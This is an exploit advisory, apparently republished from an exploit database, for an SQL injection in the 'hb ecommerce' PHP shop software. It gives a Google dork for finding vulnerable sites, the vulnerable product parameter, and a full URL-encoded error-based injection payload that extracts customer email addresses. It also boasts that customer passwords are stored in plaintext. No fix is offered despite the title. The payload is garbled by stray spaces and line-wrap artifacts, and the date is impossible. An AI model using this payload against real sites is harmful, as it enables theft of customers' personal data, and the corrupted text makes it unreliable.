Ecommerce SQL Injection defects and repair

[+] Exploit Title: [hb ecommerce SQL Injection Vulnerability]
[+] Google Dork: intext: supplied by hb ecommerce
[+] Date: 262.165.2011
[+] Author: takeshix
[+] Author Contact: takeshix@safe-mail.net
[+] Software Link: http://www.hbecommerce.co.uk/
[+] Tested on: Debian GNU/Linux Testing (Wheezy) x64
[+] System: PHP
------------------------------------------------------------------------
------------------------------------------------------------------------
Vulnerable url:
 
/Templates1/view_product.php? Product = 3D
 
Example:
 
Http://www.bkjia.com/templates1/view_product.php? Product = 3D [SQL INJECTION]
 
Get an Mail from the MERs Table:
 
Http://www.bkjia.com/templates1/view_product.php? Product = 3D94746% 20AND % 20% 28SEL =
ECT % 20716% 20 FROM % 28 SELECT % 20 COUNT % 28% 2A % 29% 2 CCONCAT % 28 CHAR % 2858% 2C122% 2C99% =
2C109% 2C58% 29% 2C % 28 SELECT % 20MID % 28% 28 IFNULL % 28 CAST % 28 email % 20AS % 20 CHAR % 29% 2 =
CCHAR % 2832% 29% 29% 2C1% 2C50% 29% 20 FROM % 29% 60web34-00000000c % 60. MERs % 2 =
0 LIMIT % 205% 2C1% 29% 2 CCHAR % 2858% 2C109% 2C103% 2C100% 2C58% 29% 2 CFLOOR % 28 RAND % 280% =
29% 2A2% 29% 29x % 20 FROM % 20INFORMATION_SCHEMA.CHARACTER_SETS % 20 GROUP % 20BY % 20x % 2 =
9a % 29% 20
 
Note: customer passwords dumped in plaintext!
 
------------------------------------------------------------------------
------------------------------------------------------------------------
Greez to: esc0bar | Someone | takedown